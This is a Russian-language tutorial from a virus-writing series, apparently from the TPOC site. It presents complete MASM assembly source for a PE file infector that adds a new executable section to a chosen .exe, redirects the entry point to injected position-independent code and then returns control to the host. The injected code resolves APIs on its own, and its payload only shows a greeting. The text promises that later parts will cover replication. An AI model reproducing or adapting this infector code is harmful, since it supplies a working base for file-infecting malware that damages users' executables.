Welcome to The Passion Of Code Laboratory!!!Статьи

"Win32-вирусы"
7. Внесение дополнительной секции ( по следам Freddy K )

Автор:_follower / TPOC

В данном шаге мы получим тот же эффект что и в прошлом шаге но путем добавления секции к PE-файлу. В прошлом шаге мы дописывали наш код в конец последней, найденной нами в файле, секции. В этом шаге мы рассмотрим второй метод решения задачи добавления кода в PE-файл, метод добавления секции. Эта статья практически полностью построена на пережевывании «подчищенного» исходника [2.1].

Задача:

1. Открыть указанный PE-файл.

2. Добавить в него секцию, с нашим именем.

3. выполнить основную задачу – поздороваться.

4. передать управление программе - носителю.

До …

Рис. 7.1.

… и после обработки мы получаем секцию с нашим именем.

Рис. 7.2. 

и имя последней, нашей, секции …

Рис. 7.3.

 

.486
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

; его ( Freddy K ) упрощенная версия IMAGE_SECTION_HEADER
pesection struc
name_ db 8 dup (0)
vsz dd 0
voff dd 0
sz dd 0
off dd 0
junk db 12 dup (0)
char dd 0
pesection ends

.CONST

MIN_KERNEL_SEARCH_BASE equ 070000000h
MAX_API_STRING_LENGTH equ 150
LENGTH_ equ ( offset section_end - offset section)
MAX equ 255
SECTION_VSZ equ 1000h
SECTION_PADD equ 1000h
CHAR_ equ 0E0000020h

.DATA

filter db 'PE-executables (*.exe)',0,'*.exe',0,0
buffer db MAX dup (0)
about db 'Please Pick the Target File',0
notpe db "Chosen file is not a Win32 PE file.",13,10
db "Please choose another file",0

; изменили имя добавляемой секции на свое, так приятней :)
sec_name db ".igi",0
OpenStruct dd 76, 0
dd 0
dd offset filter, 0,0,0, offset buffer, MAX, 0,0,0, offset about
dd OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_EXPLORER
dd 0, 0, 0, 0, 0

fhandle dd 0
fsize dd 0
buff dd 0
;переменная для хранения указателя на память выделенную по функции GlobalAlloc()
pMem dd 0

peHdr dd 0 ; смещение PE - заголовка
sections dd 0 ; здесь сохраним старое количество секций
image_sz dd 0 ; здесь сохраним реальный размер

.CODE
main:
invoke GetOpenFileNameA, offset OpenStruct
.if eax==0
jmp main_exit
.endif
invoke CreateFileA, offset buffer, GENERIC_READ or GENERIC_WRITE,\
0,0, OPEN_EXISTING, 0,0
.if eax==INVALID_HANDLE_VALUE
jmp main_exit
.endif
mov fhandle, eax
invoke GetFileSize, fhandle, 0
mov fsize, eax
add eax, SECTION_VSZ + SECTION_PADD

invoke GlobalAlloc, GMEM_FIXED OR GMEM_ZEROINIT, eax
mov pMem, eax

invoke ReadFile, fhandle, pMem, fsize, offset buff, 0
; в esi указатель на образ в памяти открытого по GetOpenFileNameA()PE-файла
mov esi, pMem
.if word ptr [esi] != IMAGE_DOS_SIGNATURE
jmp not_pe
.endif
add esi, 03ch
mov eax, dword ptr [esi]
mov peHdr, eax
sub eax, 03ch
add esi, eax ; в esi указатель на PE-заголовок открытого файла
.if dword ptr [esi] != IMAGE_NT_SIGNATURE
jmp not_pe
.endif

; обновим некоторые поля старого PE-заголовка
assume esi:ptr IMAGE_NT_HEADERS
mov ax, [esi].FileHeader.NumberOfSections
mov sections, eax
inc [esi].FileHeader.NumberOfSections ; увеличили количество секций
; нам нужно сохранить старую EntryPoint для этого получим ее реальный адрес
; путем сложения:
; [IMAGE_NT_HEADERS].OptionalHeader.AddressOfEntryPoint
; +
; [MAGE_NT_HEADERS].OptionalHeader.ImageBase (смотри Правило 5.2.)

mov eax, [esi].OptionalHeader.AddressOfEntryPoint
add eax, [esi].OptionalHeader.ImageBase
; Результат будет записан по смещению oep, для этого нужно, чтобы добавляемая нами секция имела ; атрибуты чтение + запись ( смотри Правило 4.3.)
mov oep, eax
; SizeOfImage – согласно [1.1] общий размер загруженного модуля в памяти, начиная от ImageBase до ; конца последней секции.
mov eax, [esi].OptionalHeader.SizeOfImage
mov image_sz, eax
; Тут нам необходимо изменить величину [MAGE_NT_HEADERS].OptionalHeader.SizeOfImage, для того ; чтобы загрузчик загрузил и нашу новую секцию тоже.

; Внесем новый размер [MAGE_NT_HEADERS].OptionalHeader.SizeOfImage
add [esi].OptionalHeader.SizeOfImage, SECTION_VSZ
; Новый EntryPoint = концу файла в исходном состоянии
mov [esi].OptionalHeader.AddressOfEntryPoint, eax

assume esi: NOTHING
mov esi, pMem
add esi, peHdr

; если к указателю на PE-заголовок прибавить F8h получим указатель на начало первой
; секции в файле

add esi, 0f8h
; размер секции = 40 байт
;
;pesection struc
; name_ db 8 dup (0) 8
; vsz dd 0 4
; voff dd 0 4
; sz dd 0 4
; off dd 0 4
; junk db 12 dup (0) 12
; char dd 0 4
;pesection ends __________
; 40 = 28h
mov eax, 28h
; В ecx старое количество секций
mov ecx, sections
; если операнд, указанный в команде, — двойное слово, то второй сомножитель располагается в eax.
; eax=eax*ecx
imul ecx
; прибавив к адресу начала первой секции размер всех старых секций, то получим адрес начала нашей ; новой оследней секции
add esi, eax
; по найденному только что адресу запишем нашу новую секцию
assume esi:ptr pesection
; внесем новое имя секции
mov dword ptr [esi].name_, " gi."
; внесем новый виртуальный размер нашей секции
mov eax, SECTION_VSZ
mov [esi].vsz, eax ; virtual size
; поместим туда значение [MAGE_NT_HEADERS].OptionalHeader.SizeOfImage
mov eax, image_sz
mov [esi].voff, eax ; virtual offset
; внесем реальный размер секции
mov eax, LENGTH_
mov [esi].sz, eax ; real size
; fsize = размер полученный от GetFileSize()
mov eax, fsize
mov [esi].off, eax ; real offset

; внесем нужные характеристики секции
mov eax, CHAR_
mov [esi].char, eax
assume esi: NOTHING
mov edi, pMem
; в edi – указатель на конец образа открытого файла в памяти
add edi, fsize
; не путаем с sections – старым количеством секций.
; section – адрес начала копируемого участка
lea eax, section
xchg esi, eax
mov ecx, LENGTH_
; rep используется перед следующими цепочечными командами и их краткими эквивалентами: movs,
; stos, ins, outs.
; Действия rep:
;1. анализ содержимого cx:
; - если cx<>0, то выполнить цепочечную команду, следующую за данным префиксом и перейти шагу 2;
; - если cx=0, то передать управление команде, следующей за данной цепочечной командой (выйти из
; цикла по rep);
;2. уменьшить значение cx=cx–1 и вернуться к шагу 1;
; edi – источник;
; esi – приемник;
rep movsb

; запишем из образа в памяти в сам файл
invoke SetFilePointer, fhandle, 0,0, FILE_BEGIN
mov eax, fsize
add eax, LENGTH_
invoke WriteFile, [fhandle], pMem, eax, offset buff, 0
close_file:
invoke CloseHandle, fhandle
invoke GlobalFree, pMem
push 0
call ExitProcess
main_exit:
invoke ExitProcess, 0
not_pe:
invoke MessageBoxA, 0, offset notpe, offset about, MB_OK+MB_ICONSTOP
jmp close_file
; . All code from here on IS the new section - variables are relative to
; where we are (ebp+whatever) NOT accessed normally
; . The code from here is predominantly YODA (with some tasm fixes and code moving)
; so look at his src for more info
section:
ASSUME FS:NOTHING
pushad
call delta
delta:
pop ebp
sub ebp, offset delta
push dword ptr [esp+20h]
call GetKernelBase
or EAX, EAX
jz QUIT
mov [ebp+dwKernelBase], EAX
; определим все необходимые API – адреса
lea eax, [ebp+OFFSET szLoadLibrary]
push eax
push [ebp+dwKernelBase]
call GetProcAddr
OR EAX, EAX
JZ QUIT
MOV [ebp+_LoadLibrary], EAX
lea eax, [ebp+OFFSET szGetProcAddress]
push eax
push [ebp+dwKernelBase]
call GetProcAddr
OR EAX, EAX
JZ QUIT
MOV [ebp+_GetProcAddress], EAX
lea eax, [ebp+OFFSET szExitProcess]
push eax
push [ebp+dwKernelBase]
call GetProcAddr
OR EAX, EAX
JZ QUIT
MOV [ebp+_ExitProcess], EAX

lea eax, [ebp+OFFSET szUser32]
push eax
call [ebp+_LoadLibrary]
OR EAX, EAX
JZ QUIT
MOV [ebp+dwUserBase], EAX

lea eax, [ebp+OFFSET szMessageBox]
push eax
push [ebp+dwUserBase]
call GetProcAddr
OR EAX, EAX
JZ QUIT
MOV [ebp+_MessageBox], EAX

lea eax, [ebp+OFFSET szInfoCap]
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push 0
push eax
push 0
CALL [ebp+_MessageBox]

QUIT:
mov eax, [ebp+oep]
.if eax != 0
mov [esp+1ch], eax
popad
jmp eax
.endif
popad
ret


szLoadLibrary db "LoadLibraryA",0
szGetProcAddress db "GetProcAddress",0
szExitProcess db "ExitProcess",0
szUser32 db "user32",0
szMessageBox db "MessageBoxA",0
szInfoCap db "Добрый день, уважаемый!",0

_LoadLibrary dd 0
_GetProcAddress dd 0
_ExitProcess dd 0
_MessageBox dd 0

dwKernelBase dd 0
dwUserBase dd 0
oep dd 4010cch ; HOSTS OEP


GetKernelBase PROC USES EDI ESI, dwTopStack : DWORD
MOV EDI, dwTopStack
AND EDI, 0FFFF0000h
.WHILE TRUE
.IF WORD PTR [EDI] == IMAGE_DOS_SIGNATURE
MOV ESI, EDI
ADD ESI, [ESI+03Ch]
.IF DWORD PTR [ESI] == IMAGE_NT_SIGNATURE
.BREAK
.ENDIF
.ENDIF
ExceptCont:
SUB EDI, 010000h
.IF EDI < MIN_KERNEL_SEARCH_BASE
MOV EDI, 0BFF70000h
.BREAK
.ENDIF
.ENDW
XCHG EAX, EDI
RET
GetKernelBase ENDP


GetProcAddr PROC USES ESI EDI ECX EBX EDX, dwDllBase : DWORD, szApi : LPSTR
MOV ESI, dwDllBase
CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE
JNZ @@BadExit
ADD ESI, [ESI+03Ch]
CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE
JNZ @@BadExit

MOV EDI, szApi
MOV ECX, MAX_API_STRING_LENGTH
XOR AL, AL
REPNZ SCASB
MOV ECX, EDI
SUB ECX, szApi

MOV EDX, [ESI+078h]
ADD EDX, dwDllBase
ASSUME EDX : PTR IMAGE_EXPORT_DIRECTORY
MOV EBX, [EDX].AddressOfNames
ADD EBX, dwDllBase
XOR EAX, EAX
.REPEAT
MOV EDI, [EBX]
ADD EDI, dwDllBase
MOV ESI, szApi
PUSH ECX
REPZ CMPSB
.IF ZERO?
.BREAK
.ENDIF
POP ECX
ADD EBX, 4
INC EAX
.UNTIL EAX == [EDX].NumberOfNames

MOV ESI, [EDX].AddressOfNameOrdinals
ADD ESI, dwDllBase
PUSH EDX
MOV EBX, 2
XOR EDX, EDX
MUL EBX
ADD EAX, ESI
XOR ECX, ECX
MOV WORD PTR CX, [EAX]

POP EDX
MOV EDI, [EDX].AddressOfFunctions
XOR EDX, EDX
MOV EBX, 4
MOV EAX, ECX
MUL EBX
ADD EAX, dwDllBase
ADD EAX, EDI
MOV EAX, [EAX]
ADD EAX, dwDllBase
JMP @@ExitProc

ASSUME EDX : NOTHING
@@BadExit:
XOR EAX, EAX
@@ExitProc:
RET
GetProcAddr ENDP
section_end:
end main

Прокомментируем некоторые моменты.

1)

; его ( Freddy K ) упрощенная версия IMAGE_SECTION_HEADER
pesection struc
name_ db 8 dup (0)
vsz dd 0
voff dd 0
sz dd 0
off dd 0
junk db 12 dup (0)
char dd 0
pesection ends

 

Что мы находим в windows.inc и что в программе? Интересный комментарий по поводу поля PhysicalAddress мне на wasm.ru дал volodya ( дословно :)):

Вопрос:
«Добрый день.
Вопрос относится к таблице секций PE-файла.
В файле windows.inc структура IMAGE_SECTION_HEADER имеет вид :

IMAGE_SECTION_HEADER STRUCT

Name1 db IMAGE_SIZEOF_SHORT_NAME dup(?)
union Misc

PhysicalAddress dd ?
VirtualSize dd ?

ends
VirtualAddress dd ?
SizeOfRawData dd ?
PointerToRawData dd ?
PointerToRelocations dd ?
PointerToLinenumbers dd ?
NumberOfRelocations dw ?
NumberOfLinenumbers dw ?
Characteristics dd ?

IMAGE_SECTION_HEADER ENDS

В "Формат исполняемых файлов PE , Hard Wisdom" в коментарии к полю Name1 читаем:
"Object Name - Имя объекта, остаток заполнен нулями, если имя объекта имеет длину 8 символов, то заключительного 0 нет. Некоторые PE дамперы падают на этом факте. Имя - штука отфонарная и никого ни к чему не обязывает."
Вопрос: правильно ли считать что поле PhysicalAddress как правило содержит 0?
Спасибо.»

Ответ:

«Вот блин. А самому слабо? union - это термин С/С++. Переводится как "объединение". Это означает, с нашей точки зрения, что компилятор, просто-напросто, резервирует достаточный объем памяти, чтобы хранить ЛИБО одно, ЛИБО другое. В данном случае, хранится ЛИБО один DD, ЛИБО другой. Можно привести и другой пример:

union
f_1 dw ?
f_2 dd ?

Здесь, как видишь, я говорю, что неплохо бы хранить ЛИБО DW, ЛИБО DD. Компилятор это понимает и резервирует память под больший элемент - f_2. А хранится, может либо f_1, либо f_2. Когда что - смотреть по контексту.»
 

 

pesection struc        

 

      name_ db 8 dup (0)

 

 

      vsz   dd 0

 

      voff  dd 0

      sz    dd 0

      off   dd 0

      junk  db 12 dup (0)

 

 

 

      char  dd 0

 

pesection ends

 

IMAGE_SECTION_HEADER STRUCT

 

    Name1 db IMAGE_SIZEOF_SHORT_NAME dup(?)

    union Misc

        PhysicalAddress      dd    ?

        VirtualSize          dd    ?

    ends

    VirtualAddress           dd    ?

    SizeOfRawData            dd    ?

    PointerToRawData         dd    ?

    PointerToRelocations     dd    ?

    PointerToLinenumbers     dd    ?

    NumberOfRelocations      dw    ?

    NumberOfLinenumbers      dw    ?

    Characteristics           dd    ?

 

IMAGE_SECTION_HEADER ENDS

 

 

2)

; внесем новое имя секции
mov dword ptr [esi].name_, " gi."

Ну очень хотелось мне , чтобы имя секции как-то отражало что-то моего, хотя, признаюсь, не заслуженно :)

3)

mov eax, SECTION_VSZ
mov [esi].vsz, eax ; virtual size

vsz = VirtualSize = размер, округленный в большую сторону до SectionAlignment из IMAGE_OPTIONAL_HEADER (округлять вроде не обязательно но мы округлим)

 

4)
mov eax, image_sz
mov [esi].voff, eax ; virtual

voff = VirtualAddress = LastSect.VirtualAddress + LastSect.VirtualSize, выровнено на SectionAlignment из структуры IMAGE_OPTIONAL_HEADER PE заголовка. Но в программе используется другой подход ( хотя одно и тоже), мы внесли туда просто величину [MAGE_NT_HEADERS].OptionalHeader.SizeOfImage.

 

5)
mov eax, LENGTH_
mov [esi].sz, eax ; real size

sz = SizeOfRawData = размер, округленный в большую сторону до FileAlignment из IMAGE_OPTIONAL_HEADER. Мы ничего, не округляя, вносим туда величину (offset section_end - offset section)


6)
mov eax, fsize
mov [esi].off, eax ; real offset

fsize = размер полученный от GetFileSize()
off = PointerToRawData = LastPhysSect.PointerToRawData+ LastPhysSect.SizeOfRawData;
(последняя LastPhysSect секция, у которой SizeOfRawData не равен 0). Мы поместили в качестве смещения количество байт составляющее общий размер EXE файла до «работ» с ним.
 

7)
mov eax, CHAR_
mov [esi].char, eax

 внесем нужные характеристики секции

;Characteristics = флаги секции ;=MAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE

Остальное вроде не ново. В следующей статье мы проведем интереснейшую процедуру порождения «зараженным» файлом «потомка». До свиданья.

Перечень используемой литературы:
[1.1] - Описание формата файлов РЕ от Hard Wisdom

Перечень используемого программного обеспечения:
[2.1] - Section Add by Freddy K (http://www.wasm.ru/src/2/sectionadd.zip)

Исходник

 

[C] _follower / TPOC

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

Дата последнего обновления: 4 августа 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)